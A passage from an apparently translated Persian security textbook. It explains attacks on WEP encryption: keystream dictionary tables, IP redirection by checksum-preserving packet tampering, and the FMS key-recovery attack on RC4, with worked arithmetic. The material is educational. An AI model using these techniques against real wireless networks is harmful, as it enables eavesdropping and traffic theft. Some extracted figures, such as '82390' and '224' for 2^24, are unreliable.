‫ﮐﺮدن اﯾﻤﯿﻞ ﺑﺎﺷﺪ‪ :‬ﻧﻔﻮذﮔﺮ اﺳﭙﻢ را ارﺳﺎل و ﻗﺮﺑﺎﻧﯽ آن اﯾﻤﯿﻞ را از ﻃﺮﯾﻖ ارﺗﺒﺎط رﻣﺰﺷﺪه ی ﺑـﯽ ﺳـﯿﻢ ﺧـﻮد ﭼـﮏ ﻣـﯽ‬
‫ﮐﻨﺪ‪.‬‬

‫‪ .4,8,3‬ﺟﺪول ﻫﺎی ﻟﻐﺖ ﻧﺎﻣﻪ ای رﻣﺰﮔﺸﺎﯾﯽ ﺑﺮ ﻣﺒﻨﺎی ﺑﺮدار اوﻟﯿﻪ )‪(IV‬‬

‫ﺑﻌﺪ از ﺑﺎزﯾﺎﺑﯽ ﻣﺘﻮن واﺿﺢ ﺑﺮای ﯾﮏ ﭘﯿﺎم ﻣﻘﻄﻮع )‪ (intercepted‬ﻣﯿﺘﻮان ﺟﺮﯾﺎن ﮐﻠﯿـﺪ آن ﺑﺮداراوﻟﯿـﻪ را ﻧﯿـﺰ ﺷـﻨﺎﺧﺖ‪.‬‬
‫ﯾﻌﻨﯽ ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎی دﯾﮕﺮ ﮐﻪ از ﻫﻤﺎن ﺑﺮدار اوﻟﯿﻪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﺑﮑﺎر ﺑـﺮد‪ .‬ﺑـﺎ‬
‫ﮔﺬﺷﺖ زﻣﺎن ﻣﯽ ﺗﻮان ﺟﺪوﻟﯽ از ﺟﺮﯾﺎن ﻫﺎی ﮐﻠﯿﺪ ﺑﺎ ﺷﺎﺧﺼﯽ )‪ (index‬ﻣﻌﺎدل ﺑﺎ ﺗﻤﺎم ﻣﻘﺎدﯾﺮ ﻣﻤﮑﻦ ﺑـﺮای ﺑـﺮدار اوﻟﯿـﻪ‬
‫اﯾﺠﺎد ﮐﺮد‪ .‬ﭼﻮن ﻓﻘﻂ ﺗﻌﺪاد ‪ 224‬ﺑﺮداراوﻟﯿﻪ ﻣﻤﮑﻦ وﺟﻮد دارد‪ ،‬اﮔﺮ ‪ 1,500‬ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮای ﻫﺮ ﺑـﺮدار اوﻟﯿـﻪ‬
‫ذﺧﯿﺮه ﺷﺪه ﺑﺎﺷﺪ‪ ،‬اﯾﺠﺎد ﺟﺪول ﺑﻪ ﻓﻀﺎﯾﯽ ﻣﻌﺎدل ﺑﺎ ‪ 24‬ﮔﯿﮕﺎﺑﺎﯾﺖ اﺣﺘﯿﺎج دارد‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ اﯾﻦ ﺟﺪول اﯾﺠﺎد ﺷﻮد‪ ،‬ﺗﻤـﺎم‬
‫ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه ﺑﻌﺪی را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ رﻣﺰﮔﺸﺎﯾﯽ ﮐﺮد‪.‬‬
‫اﯾﻦ روش ﺣﻤﻠﻪ ﺑﺴﯿﺎر وﻗﺖ ﮔﯿﺮ و ﺧﺴﺘﻪ ﮐﻨﻨﺪه اﺳﺖ‪ .‬اﮔﺮﭼﻪ ﻧﻈﺮﯾﻪ ﺟﺎﻟﺒﯽ اﺳﺖ‪ ،‬اﻣﺎ روش ﻫﺎی آﺳﺎﻧﺘﺮی ﺑﺮای ﻏﻠﺒﻪ ﺑﺮ‬
‫‪ WEP‬وﺟﻮد دارﻧﺪ‪.‬‬

‫‪ .4,8,4‬ﺣﻤﻠﻪ ‪) IP Redirection‬ﻫﺪاﯾﺖ ‪(IP‬‬

‫روش دﯾﮕﺮ ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه ﻓﺮﯾﺐ دادن ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺑﺮای اﻧﺠﺎم اﻣﻮر ﻧﻔـﻮذﮔﺮ اﺳـﺖ‪ .‬ﻣﻌﻤـﻮﻻ‬
‫ﻧﻘﺎط دﺳﺘﺮﺳﯽ ﺑﯽ ﺳﯿﻢ ﻧـﻮﻋﯽ اﺗـﺼﺎل اﯾﻨﺘﺮﻧﺘـﯽ دارﻧـﺪ و ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ آن‪ ،‬اﻣﮑـﺎن ﭘﯿـﺎده ﺳـﺎزی ﯾـﮏ ﺣﻤﻠـﻪ ‪IP‬‬
‫‪ Redirection‬وﺟﻮد دارد‪ .‬اﺑﺘﺪا ﯾﮏ ﺑﺴﺘﻪ رﻣﺰﺷﺪه ﺿﺒﻂ ﺷﺪه و آدرس ﻣﻘﺼﺪ ﺑﻪ ﯾـﮏ آدرس ‪ IP‬ﺗﻐﯿﯿـﺮ ﻣـﯽ ﯾﺎﺑـﺪ ﮐـﻪ‬
‫ﻧﻔﻮذﮔﺮ ﺑﻪ آن ﺑﺪون رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎ ﮐﻨﺘﺮل دارد‪ .‬ﺳﭙﺲ ﺑﺴﺘﻪ دﺳﺘﮑﺎری ﺷـﺪه ﺑـﻪ ﻧﻘﻄـﻪ دﺳﺘﺮﺳـﯽ ﺑـﯽ ﺳـﯿﻢ ﭘـﺲ‬
‫ﻓﺮﺳﺘﺎده ﻣﯽ ﺷﻮد‪ .‬ﺑﺴﺘﻪ رﻣﺰﮔﺸﺎﯾﯽ و ﺑﻪ آدرس ‪ IP‬ﻧﻔﻮذﮔﺮ ارﺳﺎل ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
‫ﭼـﻮن ﺗـﺎﺑﻊ ﭼﮑـﺴﺎم ‪ ،CRC32‬ﯾـﮏ ﺗـﺎﺑﻊ ﺧﻄـﯽ ﻏﯿﺮﮐﻠﯿـﺪی )‪ (linear unkeyed‬اﺳـﺖ‪ ،‬دﺳـﺘﮑﺎری ﺑـﺴﺘﻪ ) ‪packet‬‬
‫‪ (modification‬اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﺑﺴﺘﻪ را دﺳﺘﮑﺎری ﮐـﺮد ﺑﻄﻮرﯾﮑـﻪ ﭼﮑـﺴﺎم ﯾﮑـﺴﺎن ﺑـﺎﻗﯽ‬
‫ﺑﻤﺎﻧﺪ‪.‬‬
‫در اﯾﻦ ﺣﻤﻠﻪ ﻓﺮض ﺑﺮ آن اﺳﺖ ﮐﻪ آدرس ﻫﺎی ‪ IP‬ﻣﺒﺪا و ﻣﻘﺼﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﻫﺴﺘﻨﺪ‪ .‬ﻣﺒﻨﯽ ﺑـﺮ ﻃـﺮح ﻫـﺎی اﺳـﺘﺎﻧﺪارد‬
‫آدرس دﻫﯽ ‪ IP‬در ﺷﺒﮑﻪ داﺧﻠﯽ‪ ،‬اﯾﻦ اﻃﻼﻋﺎت را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ درک ﮐﺮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﻧﺎﺷﯽ از ﺗﺼﺎدم ﻫﺎی ﺑﺮدار اوﻟﯿﻪ‬
‫ﻣﯽ ﺗﻮان از ﭼﻨﺪﯾﻦ ﻣﻮرد اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺟﻬﺖ ﺗﻌﯿﯿﻦ آدرس ﻫﺎ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫ﭘﺲ از ﺷﻨﺎﺧﺘﻪ ﺷﺪن آدرس ‪ IP‬ﻣﻘﺼﺪ ﻣﯽ ﺗﻮان اﯾﻦ ﻣﻘﺪار را ﺑﺎ آدرس ‪ IP‬ﻣـﻮرد ﻧﻈـﺮ ‪ XOR‬ﮐـﺮد و ﺳـﭙﺲ ﮐـﻞ آﻧـﺮا‬
‫درون ﻧﺎﺣﯿﻪ ای در ﺑﺴﺘﻪ رﻣﺰﺷﺪه ‪ XOR‬ﮐﺮد‪ XOR .‬ﮐﺮدن آدرس ‪ IP‬ﻣﻘﺼﺪ ﻓﺴﺦ ﻣﯽ ﺷﻮد و آدرس ‪ IP‬ﻣﻮرد ﻧﻈـﺮ و‬
‫‪ XOR‬ﺷﺪه ﺑﺎ ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻧﺘﯿﺠﻪ ﻣﯽ دﻫﺪ‪ .‬ﺑﺮای ﺣﺼﻮل اﻃﻤﯿﻨـﺎن از ﯾﮑـﺴﺎن ﻣﺎﻧـﺪن ﭼﮑـﺴﺎم‪ ،‬آدرس ‪ IP‬ﻣﺒـﺪا ﺑﺎﯾـﺪ‬
‫دﺳﺘﮑﺎری ﺷﻮد‪.‬‬

‫‪184‬‬
‫ﺑــﺮای ﻣﺜــﺎل آدرس ﻣﺒــﺪا را ‪ 192.168.2.57‬و آدرس ﻣﻘــﺼﺪ را ‪ 192.168.2.1‬ﻓــﺮض ﮐﻨﯿــﺪ‪ .‬ﻧﻔــﻮذﮔﺮ ﮐــﻪ آدرس‬
‫‪ 123.45.67.89‬را ﮐﻨﺘﺮل ﻣﯽ ﮐﻨﺪ ﻗﺼﺪ را ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ ﺑـﻪ آن را دارد‪ .‬اﯾـﻦ آدرس ﻫـﺎی ‪ IP‬در ﺑـﺴﺘﻪ ﺑـﻪ ﺻـﻮرت‬
‫دودوﯾﯽ از ﮐﻠﻤﺎت ‪ 16‬ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ‪-‬ﭘﺎﺋﯿﻦ )‪ (low-order‬و ﻣﺮﺗﺒﻪ‪-‬ﺑﺎﻻ )‪ (high-order‬وﺟـﻮد دارﻧـﺪ‪ .‬ﺗﺒـﺪﯾﻞ اﯾـﻦ اﻋـﺪاد‬
‫ﺳﺎده اﺳﺖ‪:‬‬
‫‪Src IP = 192.168.2.57‬‬
‫‪SH = 192 · 256 + 168 = 50344‬‬
‫‪SL = 2 · 256 + 57 = 569‬‬

‫‪Dst IP = 192.168.2.1‬‬
‫‪DH = 192 · 256 + 168 = 50344‬‬
‫‪DL = 2 · 256 + 1 = 513‬‬

‫‪New IP = 123.45.67.89‬‬
‫‪NH = 123 · 256 + 45 = 31533‬‬
‫‪NL = 67 · 256 + 89 = 17241‬‬
‫ﭼﮑﺴﺎم ﺑﻮاﺳﻄﻪ ‪ NH + NL − DH − DL‬ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ‪ ،‬ﻟﺬا اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺪ از ﻣﮑﺎن دﯾﮕﺮی از ﺑﺴﺘﻪ ﮐﺎﺳﺘﻪ ﺷﻮد‪ .‬ﭼـﻮن‬
‫آدرس ﻣﺒﺪا ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ و اﻫﻤﯿﺖ ﭼﻨﺪاﻧﯽ ﻧﺪارد‪ ،‬ﻟﺬا ﮐﻠﻤﻪ ‪ 16‬ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ ﭘـﺎﺋﯿﻦ از آن آدرس ‪ IP‬ﻫـﺪف ﺧـﻮﺑﯽ‬
‫ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫)‪S′L = SL – (NH + NL − DH − DL‬‬
‫)‪S′L = 569 – (31533 + 17241 – 50344 – 513‬‬
‫‪S′L = 2652‬‬
‫ﺑﺪﯾﻦ ﺻﻮرت آدرس ‪ IP‬ﻣﺒﺪا ﺟﺪﯾﺪ‪ ،‬ﺑﺎﯾﺴﺘﯽ ‪ 192.168.10.92‬ﺑﺎﺷﺪ‪.‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﻫﻤﺎن ﺣﻘﻪ ‪ XOR‬ﮐﺮدن‪ ،‬ﻣﯽ ﺗﻮان آدرس ‪ IP‬ﻣﺒﺪا را در ﺑﺴﺘﻪ رﻣﺰﺷﺪه دﺳﺘﮑﺎری ﮐﺮد‪ ،‬آﻧﮕﺎه ﭼﮑـﺴﺎم ﻫـﺎ‬
‫ﺑﺮاﺑﺮ ﻣﻄﺎﺑﻖ ﺑﺎﺷﻨﺪ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﺑﻪ ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺑﯽ ﺳﯿﻢ ارﺳﺎل ﻣﯽ ﺷﻮد‪ ،‬ﺑﺴﺘﻪ رﻣﺰﮔﺸﺎﯾﯽ و ﺑﻪ ‪123.45.67.89‬‬
‫)ﮐﻪ ﻧﻔﻮذﮔﺮ ﻣﯽ ﺗﻮاﻧﺪ در آﻧﺠﺎ آن ﺑﺴﺘﻪ را درﯾﺎﻓﺖ ﮐﻨﺪ( ارﺳﺎل ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
‫اﮔﺮ ﻧﻔﻮذﮔﺮ اﻣﮑﺎن ﻣﺎﻧﯿﺘﻮر ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ را در ﮐﻞ ﯾـﮏ ﺷـﺒﮑﻪ ﮐـﻼس ‪ B‬داﺷـﺘﻪ ﺑﺎﺷـﺪ‪ ،‬آدرس ﻣﺒـﺪا ﻫـﯿﭻ ﻧﯿـﺎزی ﺑـﻪ‬
‫دﺳﺘﮑﺎری ﻧﺪارد‪ .‬ﺑﺎ ﻓﺮض دﺳﺘﺮﺳﯽ ﻧﻔﻮذﮔﺮ روی ﮐﻞ ﻣﺤﺪوده ‪ ،123.45.x.x‬ﮐﻠﻤﻪ ‪ 16‬ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ ﭘـﺎﺋﯿﻦ از آدرس ‪IP‬‬
‫را ﻣﯽ ﺗﻮان ﻃﻮری ﺗﻐﯿﯿﺮ داد ﮐﻪ ﺗﺎﺛﯿﺮی در ﻣﻘﺪار ﭼﮑـﺴﺎم ﻧﺪاﺷـﺘﻪ ﺑﺎﺷـﺪ‪ .‬اﮔـﺮ راﺑﻄـﻪ ‪ ،NL = DH + DL – NH‬ﺑﺮﻗـﺮار‬
‫ﺑﺎﺷﺪ‪ checksum ،‬ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد‪ .‬در زﯾﺮ ﻣﺜﺎﻟﯽ را ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪NL = DH + DL – NH‬‬
‫‪NL = 50,344 + 513 – 31533‬‬
‫‪N′L = 82390‬‬
‫آدرس ‪ IP‬ﻣﻘﺼﺪ ﺟﺪﯾﺪ‪ ،‬ﺑﺎﯾﺴﺘﯽ ﻣﻌﺎدل ‪ 123.45.75.124‬ﺑﺎﺷﺪ‪.‬‬

‫‪ .4,8,5‬ﺣﻤﻠﻪ ﻓﻼرر‪ ،‬ﻣﺎﻧﺘﯿﻦ و ﺷﻤﯿﺮ )‪(FMS‬‬

‫ﺣﻤﻠﻪ ﻓﻼرر‪ ،‬ﻣﺎﻧﺘﯿﻦ و ﺷﻤﯿﺮ ﯾﺎ ‪ 125 FMS‬ﭘﺮ اﺳﺘﻔﺎده ﺗﺮﯾﻦ ﺣﻤﻠﻪ ﻋﻠﯿﻪ ‪ WEP‬اﺳﺖ ﮐﻪ ﺑﺎ اﺑﺰاری ﻣﺜﻞ ‪ AirSnort‬ﻣﺸﻬﻮر‬
‫ﺷﺪ‪ .‬اﯾﻦ ﺣﻤﻠـﻪ ﺳﺮاﺳـﺮ ﺷـﮕﻔﺘﯽ اﺳـﺖ و از ﺿـﻌﻔﻪ ﻫـﺎی ﻣﻮﺟـﻮد در اﻟﮕـﻮرﯾﺘﻢ زﻣـﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ در ‪ RC4‬و ﮐـﺎرﺑﺮد‬
‫ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﻧﻔﻊ ﻣﯽ ﺑﺮد‪.‬‬
‫ﻣﻘﺎدﯾﺮ ﺑﺮدار اوﻟﯿﻪ ﺿﻌﯿﻔﯽ وﺟﻮد دارﻧﺪ ﮐﻪ اﻃﻼﻋﺎﺗﯽ راﺟﻊ ﺑﻪ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ در اوﻟﯿﻦ ﺑﺎﯾـﺖ از ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﻓـﺎش ﻣـﯽ‬
‫ﺳﺎزﻧﺪ‪ .‬ﭼﻮن ﮐﻠﯿﺪ ﯾﮑﺴﺎﻧﯽ ﺑﺎ ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﻣﺘﻔﺎوﺗﯽ ﻣﮑﺮرا اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ ،‬اﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﮐﺎﻓﯽ ﺑـﺎ ﺑﺮدارﻫـﺎی اوﻟﯿـﻪ‬
‫ﺿﻌﯿﻒ ﺟﻤﻊ آوری ﺷﻮﻧﺪ و اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ‪ ،‬اﻣﮑﺎن ﺗﻌﯿﻦ ﻧﻤﻮدن ﮐﻠﯿﺪ وﺟﻮد دارد‪.‬‬

‫‪125‬‬
‫)‪Fluhrer, Mantis, Shamir (FMS‬‬
‫‪185‬‬
‫ﺧﻮﺷﺒﺨﺘﺎﻧﻪ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺑﺴﺘﻪ ‪ ،802.11b‬ﻫﺪر ‪ snap‬اﺳﺖ ﮐﻪ ﺗﻘﺮﯾﺒﺎ ﻫﻤﯿـﺸﻪ ﺑﺮاﺑـﺮ ‪ 0xAA‬ﻣـﯽ ﺑﺎﺷـﺪ؛ ﯾﻌﻨـﯽ اوﻟـﯿﻦ‬
‫ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ ﺑﺎ ‪ XOR‬ﮐﺮدن اوﻟﯿﻦ ﺑﺎﯾﺖ رﻣﺰﺷﺪه ﺑﺎ ‪ 0xAA‬ﺑﺪﺳﺖ آورد‪.‬‬
‫ﺳﭙﺲ ﺑﺮدارﻫﺎی اوﻟﯿﻪ را ﺑﺎﯾﺪ ﺗﻌﯿﯿﻦ ﻣﺤﻞ ﮐﺮد‪ .‬ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﺮای ‪ WEP‬ﻃﻮﻟﯽ ﺑﺮاﺑﺮ ﺑﺎ ‪ 24‬ﺑﯿﺖ ﯾـﺎ ‪ 3‬ﺑﺎﯾـﺖ دارﻧـﺪ‪.‬‬
‫ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺿﻌﯿﻒ ﺑﻪ ﻓﺮم )‪ (A+3, N−1, X‬ﻫﺴﺘﻨﺪ ﮐﻪ در آن ‪ ،A‬ﺑﺎﯾﺘﯽ از ﮐﻠﯿﺪ اﺳﺖ ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ آن ﺣﻤﻠﻪ ﺷﻮد‪N ،‬‬
‫ﺑﺮاﺑﺮ ﺑﺎ ‪ 256‬اﺳﺖ )ﭼﻮن ‪ RC4‬در ﭘﯿﻤﺎﻧﻪ ‪ 256‬ﮐﺎر ﻣﯽ ﮐﻨﺪ(‪ X ،‬ﻧﯿﺰ ﻣﯽ ﺗﻮاﻧﺪ ﻫﺮ ﻣﻘﺪاری را اﺧﺘﯿﺎر ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت‬
‫اﮔﺮ ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻣﻮرد ﺣﻤﻠﻪ ﻗﺮار ﮔﯿﺮد‪ ،‬ﺗﻌﺪاد ‪ 256‬ﺑﺮدار اوﻟﯿـﻪ ﺿـﻌﯿﻒ ﺑـﻪ ﻓـﺮم )‪ (3, 255, X‬وﺟـﻮد‬
‫دارﻧﺪ ﮐﻪ در آن ‪ X‬از ‪ 0‬ﺗﺎ ‪ 255‬ﻣﺘﻐﯿﺮ اﺳﺖ‪ .‬ﺑﺎﯾﺖ ﻫﺎی ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺎﯾﺪ ﺑﻪ ﺗﺮﺗﯿـﺐ ﻣـﻮرد ﺣﻤﻠـﻪ ﻗـﺮار ﮔﯿﺮﻧـﺪ‪ ،‬ﻟـﺬا ﺗـﺎ‬
‫زﻣﺎﻧﯽ ﮐﻪ ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ ﻣﻮرد ﺣﻤﻠﻪ ﻗﺮار ﻧﮕﯿﺮد ﻧﻤﯽ ﺗﻮان ﺑﻪ اوﻟﯿﻦ ﺑﺎﯾﺖ ﺣﻤﻠﻪ ﮐﺮد‪.‬‬
‫ﺧﻮد اﻟﮕﻮرﯾﺘﻢ ﺗﻘﺮﯾﺒﺎ ﺳﺎده اﺳﺖ‪ .‬اﺑﺘﺪا ﮔﺎم ﻫﺎی ‪ A+3‬را از اﻟﮕﻮرﯾﺘﻢ زﻣﺎن ﺑﻨﺪی ﮐﻠﯿﺪ )‪ (KSA‬ﻃﯽ ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﮐـﺎر را‬
‫ﻣﯽ ﺗﻮان ﺑﺪون داﻧﺴﺘﻦ ﮐﻠﯿﺪ اﻧﺠﺎم داد‪ ،‬ﭼﺮا ﮐﻪ ﺑﺮدار اوﻟﯿﻪ ﺳﻪ ﺑﺎﯾﺖ ﻧﺨﺴﺖ از آراﯾﻪ ‪ K‬را اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﺻﻔﺮﻣﯿﻦ‬
‫ﺑﺎﯾﺖ از ﮐﻠﯿﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه و ‪ A‬ﺑﺮاﺑﺮ ‪ 1‬ﺑﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﭼﻬﺎر ﺑﺎﯾﺖ ﻧﺨﺴﺖ از آراﯾﻪ ‪ K‬ﺷﻨﺎﺧﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ‪ ،‬ﺑﻪ اﯾـﻦ ﺻـﻮرت‬
‫روﻧﺪ اﺟﺮاﯾﯽ ‪ KSA‬ﺑﻪ ﮔﺎم ﭼﻬﺎرم ﻣﯽ رود‪.‬‬
‫در اﯾﻦ ﺟﺎ اﮔﺮ ]‪ S[0‬و ]‪ S[1‬ﺑﻮاﺳﻄﻪ آﺧﺮﯾﻦ ﮔﺎم ﻣﺨﺘﻞ ﺷﻮﻧﺪ )ﻣﻘﺎدﯾﺮ دﯾﮕﺮی ﺑﮕﯿﺮﻧﺪ(‪ ،‬ﺑﺎﯾﺪ ﻋﻤﻠﯿﺎت را ﻣﺘﻮﻗـﻒ ﮐـﺮد و‬
‫ﻣﺠﺪدا از اﺑﺘﺪا اﻧﺠﺎم داد‪ .‬ﺑﺮای ﺗﻮﺿﯿﺢ ﺑﯿﺸﺘﺮ اﮔﺮ ‪ j‬ﮐﻮﭼﮑﺘﺮ از ‪ 2‬ﺑﺎﺷﺪ‪ ،‬ﺑﺎﯾﺪ از ﭘﯿﺸﺒﺮد ﻋﻤﻠﯿﺎت دﺳﺖ ﮐﺸﯿﺪ‪ .‬ﻣﮕﺮاﯾﻨﮑﻪ‬
‫ﻣﻘﺎدﯾﺮ ‪ j‬و ]‪ S[A + 3‬را ﮔﺮﻓﺘﻪ و ﻫﺮ دوی آﻧﻬﺎ را در ﭘﯿﻤﺎﻧﻪ ‪ ،256‬از اوﻟﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﺗﻔﺮﯾـﻖ ﮐـﺮد‪ .‬در ‪ %5‬از‬
‫اوﻗﺎت اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺖِ ﺻﺤﯿﺢ از ﮐﻠﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﮔﺮ اﯾﻦ ﻋﻤﻞ ﺑﺎ ﺗﻌـﺪاد ﻣﻨﺎﺳـﺐ و ﮐـﺎﻓﯽ از ﺑﺮدارﻫـﺎی اوﻟﯿـﻪ ﺿـﻌﯿﻒ‬
‫اﻧﺠﺎم ﺷﻮد )ﺑﺎ ﻋﻮض ﮐﺮدن ﻣﻘﺪار ‪ ،(X‬آﻧﮕﺎه ﻣﯽ ﺗﻮان ﺑﺎﯾﺖ ﺻﺤﯿﺢ ﮐﻠﯿﺪ را ﺗﻌﯿﯿﻦ ﮐـﺮد‪ .‬ﺑـﺮای رﺷـﺪ اﺣﺘﻤـﺎل ﺑـﻪ ﺑـﺎﻻی‬
‫‪ %50‬ﺣﺪودا ﺷﺼﺖ ﺑﺮدار اوﻟﯿﻪ ﺿﻌﯿﻒ ﻧﯿﺎز اﺳﺖ‪ .‬ﺑﻌﺪ از ﺗﻌﯿﯿﻦ ﯾﮏ ﺑﺎﯾﺖ از ﮐﻠﯿﺪ‪ ،‬ﻣﯽ ﺗـﻮان ﮐـﻞ ﻓﺮآﯾﻨـﺪ را ﺑـﻪ ﻣﻨﻈـﻮر‬
‫ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﺑﺎﯾﺖ ﺑﻌﺪی از ﮐﻠﯿﺪ و ﺗﺎ ﺗﻌﯿﯿﻦ ﮐﻞ ﮐﻠﯿﺪ ﺗﮑﺮار ﮐﺮد‪.‬‬
‫ﺑﺮای اﺛﺒﺎت ‪ RC4‬ﻃﻮری ﻣﻘﯿﺎس ﮔﺬاری ﻣﯽ ﺷﻮد ﮐﻪ ‪ N‬ﺑﺠﺎی ‪ 256‬ﺑﺮاﺑﺮ ‪ 16‬ﺷـﻮد‪ .‬ﯾﻌﻨـﯽ زﯾـﻦ ﭘـﺲ ﺑـﻪ ﺟـﺎی ﭘﯿﻤﺎﻧـﻪ‬
‫‪ ،256‬ﻫﻤﻪ ﭼﯿﺰ ﺑﻪ ﭘﯿﻤﺎﻧﻪ ‪ 16‬اﻧﺠﺎم ﻣﯽ ﺷﻮد و ﺗﻤﺎم آراﯾﻪ ﻫـﺎ ﺑـﻪ ﺟـﺎی ‪ 256‬ﺑﺎﯾـﺖ‪ 16 ،‬ﺑـﺎﯾﺘﯽ )و ﻣـﺸﻤﻮل ‪ 4‬ﺑﯿﺘـﯽ ﻫـﺎ(‬
‫ﻫﺴﺘﻨﺪ‪.‬‬
‫ﻓﺮض ﻣﯽ ﮐﻨﯿﻢ ﮐﻪ ﮐﻠﯿﺪ ﺑﺮاﺑﺮ )‪ (1, 2, 3, 4, 5‬و ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾـﺖ ﻣـﻮرد ﺣﻤﻠـﻪ )ﯾﻌﻨـﯽ ‪ (A‬ﺑﺮاﺑـﺮ ﺑـﺎ ﺻـﻔﺮ اﺳـﺖ‪ .‬ﯾﻌﻨـﯽ‬
‫ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺿﻌﯿﻒ ﺑﺎﯾﺪ ﺑﻪ ﻓﺮم )‪ (3, 15, X‬ﺑﺎﺷﻨﺪ‪ .‬در اﯾﻦ ﻣﺜﺎل ‪ X‬ﺑﺮاﺑﺮ ‪ 2‬ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﻟﺬا ﻣﻘﺪار ﺑﻨﯿﺎدی ﺑﻪ ﻓﺮم ‪(3,‬‬
‫)‪ 15, 2, 1, 2, 3, 4, 5‬ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﻣﻘﺪار ﺑﻨﯿﺎدی‪ ،‬ﺧﺮوﺟﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮاﺑﺮ ‪ 9‬ﺧﻮاﻫﺪ‬
‫ﺑﻮد‪.‬‬
‫‪9‬‬ ‫ﺧﺮوﺟﯽ )‪(Output‬‬
‫‪) 0‬ﺻﻔﺮ(‬ ‫‪A‬‬
‫‪2 ،15 ،3‬‬ ‫ﺑﺮدار اوﻟﯿﻪ )‪(IV‬‬
‫‪5 ،4 ،3 ،2 ،1‬‬ ‫ﮐﻠﯿﺪ‬
‫اﻟﺤﺎق ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﮐﻠﯿﺪ‬ ‫ﻣﻘﺪار ﺑﻨﯿﺎدی )‪(seed‬‬

‫‪K[] = 3 15 2 X X X X X 3 15 2 X X X X X‬‬
‫‪S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15‬‬
